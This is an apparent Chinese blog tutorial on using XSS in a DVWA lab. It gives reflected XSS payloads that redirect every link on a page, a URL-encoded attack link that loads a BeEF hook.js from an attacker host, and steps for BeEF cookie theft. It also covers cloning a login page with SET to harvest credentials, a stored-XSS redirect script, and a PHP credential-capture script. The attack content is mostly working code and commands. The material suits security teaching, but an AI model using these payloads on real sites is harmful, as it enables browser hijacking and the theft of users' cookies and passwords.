XSS 攻击的应用方式



XSS 攻击的应用方式


实验环境

  • Kali 2021.1
  • CentOS 7.6
  • 浏览器

0x01 反射型 XSS 攻击劫持用户浏览器

1.修改页面链接的原理

  1. 跳转恶意网站劫持用户浏览器
  2. 跳转到广告页面获取利益,或者跳转到固定页面对网站进行刷流量

实验结构:用户访问黑客构建的 XSS 攻击链接,跳转恶意网址并加载 hook.js 代码,黑客通过 hook.js 劫持用户浏览器

2.构建反射型 XSS 攻击

先构建一个反射型的 XSS 攻击跳转到存在漏洞的页面,在 DVWA 中直接进行攻击,但是我们处于演示目的构造了一个相对复杂的环境。

<script>
	window.onload = function(){
	var link = document.getElementsByTagName("a");
	for(j = 0; j < link.length;j++){
	    link[j].href="https://baidu.com";}
	}
</script>

JavaScript 代码分析 window.onload 当页面加载完成时,执行 function 匿名函数

函数功能:document.getElementyByTagName 获取页面中所有的 a 标签,存放到 link 数组中,使用 for 循环将 link 数组中的所有元素替换为恶意网址

打开chrome 浏览器,在反射型 XSS 中进行测试

登录 http://192.168.37.147/DVWA-master/login.php 用户名:admin 密码:password

image-20210329085502096

复制一下代码,粘贴到输入框中;

<script>
	window.onload = function(){
	var link = document.getElementsByTagName("a");
	for(j = 0; j < link.length;j++){
	    link[j].href="https://baidu.com";}
	}
</script>

image-20210329085911953

执行完成后页面并没有什么异常,刷新也没有问题,但是我们点击页面中任何链接时,会发现所有能够 点击的链接点击后 都会跳转到 baidu.com

image-20210329090908792

我们去查看 a标签的 href属性

image-20210329091009017

3.使用 beef 劫持用户浏览器

3.1 基本概述

BeEF(The Brower Exploitation Framework)是由 Wade Alcorn(瓦德·奥尔康)在2006年开始创建,至今还在维护,是由 ruby 语言开发的专门针对浏览器攻击的框架。

15299931636046

执行的过程,就像这种恶意弹窗:

image-20210329093853284

zombie(僵尸)即受害的浏览器。zombie 是被 hook(勾连)的,如果浏览器访问了有勾子(由js 编写)的页面,就会被 hook,勾连的浏览器会执行初始代码返回一些信息,接着 zombie 会每隔一段时间(默认为 1 秒)就会向 BeEF 服务器发送一个请求,询问是否有新的代码需要执行。BeEF 服务器本质上就像一个 Web 应用,被分为前端 UI, 和后端。前端会轮询后端是否有新的数据需要更新,同时前端也可以向后端发送指示, BeEF 持有者可以通过浏览器来登录 BeEF 的后台管理 UI。

3.2 安装程序
┌──(root💀fengzilin55)-[~]
└─# apt install -y beef-xss
3.3 程序启动 beef
┌──(root💀fengzilin55)-[~]
└─# beef-xss

image-20210329095559616

(Password must be different from "beef") 密码必须与"beef"不同 
Please type a new password for the beef user:  请为 beef 用户设置一个新的密码: //密码为 root
根据提示直接设置一个新密码即可启动 beef 

image-20210329100410016

新建一个终端,启动 Apache

┌──(root💀fengzilin55)-[~]
└─# systemctl start apache2.service                                                           
                                                                                                     
┌──(root💀fengzilin55)-[~]
└─# systemctl enable apache2.service  

新建一个Web 页面用来加载我们生成的 hook.js 钩子文件,如果在目标网站直接嵌入 hook.js 就太可疑了

┌──(root💀fengzilin55)-[~]
└─# vim /var/www/html/fengzilin.html
<html> 
<head> 
<script src='http://192.168.37.132:3000/hook.js'></script> </head> 
<body> 
<h1>Hello Welcome to fengzilin !!!</h1> 
</body> 
</html> 

测试页面 http://192.168.37.132/fengzilin.html

image-20210329101412085

修改一下payload

<script>
window.onload = function(){
	var link=document.getElementsTagByName("a");
	for (j=0;j<link.length;j++){
	link[j].href="http://192.168.37.132/fengzilin.html";}
	}
</script>

修改完整的URL

http://192.168.37.147/DVWA-master/vulnerabilities/xss_r/?name=<script>window.onload = function(){var link=document.getElementsByTagName("a");for (j=0;j<link.length;j++){link[j].href="http://192.168.37.132/fengzilin.html";}}</script>

使用 burpsuite 进行 URL 编码

image-20210329104323023

http://192.168.37.147/DVWA-master/vulnerabilities/xss_r/?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%66%6f%72%20%28%6a%3d%30%3b%6a%3c%6c%69%6e%6b%2e%6c%65%6e%67%74%68%3b%6a%2b%2b%29%7b%6c%69%6e%6b%5b%6a%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%33%37%2e%31%33%32%2f%66%65%6e%67%7a%69%6c%69%6e%2e%68%74%6d%6c%22%3b%7d%7d%3c%2f%73%63%72%69%70%74%3e

将之前打开的 chrome 浏览器关闭,重新打开,因为之前网页所有点的链接都变成其他网址了

登录 DVWA http://192.168.37.147/DVWA-master/

将用户级别改为 low

image-20210329103421026

会跳转到此页面

image-20210329110938315

随便点击一个跳转页面的链接就会触发 XSS

image-20210329111019677

右击查看源码

image-20210329111127016

在Kali 上登录 beef 后台进行查看 http://127.0.0.1:3000/ui/panel

image-20210329104844100

可以看到已经链接上了 zombie 浏览器

image-20210329111219029

4.Beef 模块的使用

4.1 获取 Cookie

image-20210329111523172

image-20210329111555444

4.2 给控制的僵尸浏览器弹一个窗口,效果如下

image-20210329111713123

控制浏览器进行弹窗

image-20210329111923241

修改弹窗权限

image-20210329112023737

弹出窗口

image-20210329112216308

弹窗默认没有任何内容显示,我们来编辑下弹窗文件,增加图片

切换到弹窗模块所在目录

┌──(root💀fengzilin55)-[~]
└─# cd /usr/share/beef-xss/modules/persistence/popunder_window                                                                                                     ┌──(root💀fengzilin55)-[/usr/…/beef-xss/modules/persistence/popunder_window]
└─# lscommand.js  config.yaml  module.rb

command.js 文件是弹窗模块调用的 js 文件,打开文件

┌──(root💀fengzilin55)-[/usr/…/beef-xss/modules/persistence/popunder_window]
└─# vim command.js 

image-20210329113207118

plain.html 是弹窗调用的 HTML 页面

width = 1 和 height 是控制弹窗的大小,left和top是控制弹窗在屏幕上显示的位置

这里做修改

  • width=515 弹窗宽度 515 像素
  • height = 320 弹窗高度 320 像素
  • left 弹窗距离浏览器左边的距离设置为(screen.width/2-500),其中 screen.width 为屏幕的宽度
  • top 弹窗距离浏览器顶端的距离为(screen.height/2-200),其中screen.height 为屏幕的高度

image-20210329113953349

保存退出

切换到弹窗页面所在目录

注:不知道目录在哪里可以使用find命令搜素文件

┌──(root💀fengzilin55)-[/usr/…/beef-xss/modules/persistence/popunder_window]
└─# find / -name plain.html

image-20210329114303952

┌──(root💀fengzilin55)-[~]
└─# cd /usr/share/beef-xss/extensions/demos/html                                                                                                                           ┌──(root💀fengzilin55)-[/usr/…/beef-xss/extensions/demos/html]
└─# ls

image-20210329114215308

plain.html 就是弹窗所调用的 html 文件,在修改之前需要一张图片,用xshell 连额吉kali 将图片上传到此目录

┌──(root💀fengzilin55)-[/usr/…/beef-xss/extensions/demos/html]
└─# rz 

image-20210329142111189

编辑 plan.html 文件,插入图片

┌──(root💀fengzilin55)-[/usr/…/beef-xss/extensions/demos/html]
└─# vim /usr/share/beef-xss/extensions/demos/html/plain.html 

image-20210329140759792

<body></body>中插入如下代码

插入一个点击图片,跳转到百度

<a href="https://www.baidu.com" target="blank"><img src="/demos/demo.jpg" width="500"></a>

image-20210329141108067

保存并退出

在kali上执行弹框

image-20210329141346345

返回浏览器

image-20210329142232480

Beef 中会自动生成网络拓扑图,这个图每次打开都会有些不同,但是整体拓扑图结构未发生改变

image-20210329142344983

0x02 持久型 XSS 窃取用户信息

1.克隆登录页面

Setoolkit 是一个万能的 社工 工具(社会工程学工具集合)

┌──(root💀fengzilin55)-[~]
└─# setoolkit  

image-20210329143404527

terms 条款

你同意服务条款吗? y

选择1.社会工程攻击

image-20210329143634798

1) Social-Engineering Attacks        //社会工程攻击
2) Penetration Testing (Fast-Track)  //渗透测试(快速通道)
3) Third Party Modules               //第三方模块
4) Update the Social-Engineer Toolkit//更新社会工程师工具包
5) Update SET configuration          //更新集配置
6) Help, Credits, and About          //帮助、积分和关于
99) Exit the Social-Engineer Toolkit //退出社会工程师工具包

选择 2 网站攻击载体

image-20210329144036821

1)鱼叉式网络钓鱼攻击载体
2)网站攻击载体
3)感染性介质发生器
4)创建有效负载和监听器
5)群发邮件攻击
6)Arduino攻击向量
7)无线接入点攻击向量
8)QRCode生成器攻击向量
9)威力外壳攻击向量
10)第三方模块
99)返回主菜单。

选择 3 凭证收割机攻击方法

image-20210329144223467

1) Java Applet攻击方法
2) Metasploit浏览器利用方法
3) 凭据采集器攻击方法
4) Tabnabbing攻击方法
5) 网络劫持攻击方法
6) 多攻击Web方法
7) HTA攻击方法
返回主菜单

选择 2 站点克隆

image-20210329144307515

1)网页模板
2)现场切割
3)自定义导入
返回“网络攻击”菜单

设置侦听 IP 地址保持默认回车

image-20210329144437782

输入 URL 进行克隆

set:webattack> Enter the url to clone:http://192.168.37.147/DVWA-master/login.php

image-20210329144619432
image-20210329144652979

Do you want to attempt to disable Apache? [y/n]: y//因为前面启动了 Apache 所以80端口时占用的状态,在这里输入y关闭Apache

克隆成功

image-20210329144845593

打开浏览器访问:http://192.168.37.132

image-20210329144952251

和原来的网站一模一样,输入密码尝试登录

image-20210329145027604

输入密码发现,页面又重新跳回了 37.147的站点,也就是真实的站点

image-20210329145049961

再次点击登录网站正常登录成功

我们回到 setolkit 查看,已经记录下了在我们克隆的站点输入的用户名和密码信息

image-20210329145328027

2. 使用存储型 XSS 进行页面跳转

我们讲页面跳转到我们伪造的站点中,我们先进行跳转,然后在进行站点克隆

打开浏览器

登录 DVWA ,来这个页面,输入以下内容:

<script>window.location="http://192.168.37.132/"</script>

image-20210329150734127

我们发现文本框输入不了了,因为对话有长度限制的问题

我们调一下大小

image-20210329150826522

点击 sign Guestbook

image-20210329150649228

点击提交后会自动跳转到克隆站点

image-20210329150848719

每次访问都会跳转到克隆站点

image-20210329150950346

只要在克隆站点登录账户信息就会被记录

3.将页面跳转到index.页面

<?php
$dbhost = 'localhost';  // mysql服务器主机地址
$dbuser = 'root';            // mysql用户名
$dbpass = '123456';          // mysql用户名密码
$conn = mysqli_connect($dbhost, $dbuser, $dbpass);

mysqli_query($conn , "set names utf8");
$table = "CREATE TABLE IF NOT EXISTS dvwa.hack(username VARCHAR(100),password VARCHAR(40))";
$ct = mysqli_query($conn,$table);
if(!$ct){
	echo "create table error";
}
else{
	echo "create table susses";
}
if(!empty($_POST['Login']) )
{
	$Username = $_POST['username'];
	$Password = $_POST['password'];
	$sql = "INSERT INTO dvwa.hack(username,password) value('$Username','$Password')";
	echo $sql;
	$retval = mysqli_query($conn,$sql);
	//echo $retval;
	if(!$retval){
		echo "<script> location.href='http://192.168.37.132/DVWA-master/index.php';</script>";
	}else{
		echo "<script> location.href='http://192.168.37.132/DVWA-master/index.php';</script>";
	}
}
mysqli_close($conn);
?>

0x03 总结

本章学习了,XSS 在实际中,怎么运用,通过本章学习,XSS 在实际应用当中,扮演着社工角色,通过利用社会工程学,诱导用户点击链接,从而获取用户的信息。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值